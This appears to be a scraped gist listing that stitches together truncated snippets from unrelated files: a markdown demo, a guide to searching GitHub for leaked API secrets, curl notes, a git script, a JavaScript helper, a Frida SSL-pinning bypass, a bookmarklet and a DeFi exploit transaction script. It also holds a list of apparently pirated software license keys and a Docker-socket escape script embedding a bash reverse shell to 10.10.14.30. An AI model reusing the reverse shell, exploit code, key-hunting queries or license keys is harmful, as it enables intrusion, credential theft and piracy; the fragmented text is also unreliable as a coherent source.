SanariSan

Demo:

Spoiler warning

Spoiler text. Note that it's important to have a space after the summary tag. You should be able to write any markdown you want inside the <details> tag... just make sure you close <details> afterward.

console.log("I'm a code block!");

GitHub Search Syntax for Finding API Keys/Secrets/Tokens

As a security professional, it is important to conduct a thorough reconnaissance. With the increasing use of APIs nowadays, it has become paramount to keep access tokens and other API-related secrets secure in order to prevent leaks. However, despite technological advances, human error remains a factor, and many developers still unknowingly hardcode their API secrets into source code and commit them to public repositories. GitHub, being a widely popular platform for public code repositories, may inadvertently host such leaked secrets. To help identify these vulnerabilities, I have created a comprehensive search list using powerful search syntax that enables the search of thousands of leaked keys and secrets in a single search.

Search Syntax:

(path:*.{File_extension1} OR path:*.{File_extension-N}) AND ({Keyname1} OR {Keyname-N}) AND (({Signature/pattern1} OR {Signature/pattern-N}) AND ({PlatformTag1} OR {PlatformTag-N}))

Examples:

**1.

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

	# Adjust the following variables as necessary
	REMOTE=origin
	BRANCH=$(git rev-parse --abbrev-ref HEAD)
	BATCH_SIZE=250

	# check if the branch exists on the remote
	if git show-ref --quiet --verify refs/remotes/$REMOTE/$BRANCH; then
	# if so, only push the commits that are not on the remote already
	range=$REMOTE/$BRANCH..HEAD
	else

	Portable Version KEYS:
	P6Z3T-UYJC9-YAK3F-APN9M-6ZDSD
	FGZPK-93CWX-Q33Y6-D5URV-YXC3X
	9CZQX-9YAQA-PF33L-XVUQH-NSD48
	8RZ3L-H3Y5L-W2RY5-Z5M8N-C7Z2U
	CCZNU-LW3LF-K9V2T-MYZFF-94667
	EWZM6-3W4UX-KH922-C96GK-VGBH2

	Standard Version KEYS:
	4AZNW-S2YHE-LLMWM-J6EL8-7QKDL

	/**
	* Creates a read/writable property which returns a function set for write/set (assignment)
	* and read/get access on a variable
	*
	* @param {Any} value initial value of the property
	*/
	function createProperty(value) {
	var _value = value;

	/**

	#!/bin/bash

	# you can see images availables with
	# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
	# here we have sandbox:latest

	# command executed when container is started
	# change dir to tmp where the root fs is mount and execute reverse shell

	cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"

	console.log("[*] SSL Pinning Bypasses");
	console.log(`[*] Your frida version: ${Frida.version}`);
	console.log(`[*] Your script runtime: ${Script.runtime}`);

	/**
	* by incogbyte
	* Common functions
	* thx apkunpacker, NVISOsecurity, TheDauntless
	* Remember that sslpinning can be custom, and sometimes u need to reversing using ghidra,IDA or something like that.
	* !!! THIS SCRIPT IS NOT A SILVER BULLET !!

	javascript: (function () {
	var text = document.body.innerText;
	var spl = text.split(" ");
	if (spl.length > 3000) {
	text = spl.slice(0, 3000).join(" ");
	}

	fetch('https://api.openai.com/v1/completions', {
	method: 'POST',
	headers: {

	// Ex. $ npx ts-node BscRawTx.ts --txData=<txData>
	// Consult: https://github.com/WP-LKL/bscValueDefi-Exploit, for python use-case

	const Tx = require('ethereumjs-tx').Transaction;
	const Web3 = require('web3');
	import Common from 'ethereumjs-common';
	import {parse} from 'ts-command-line-args';

	interface input {
	txData: string;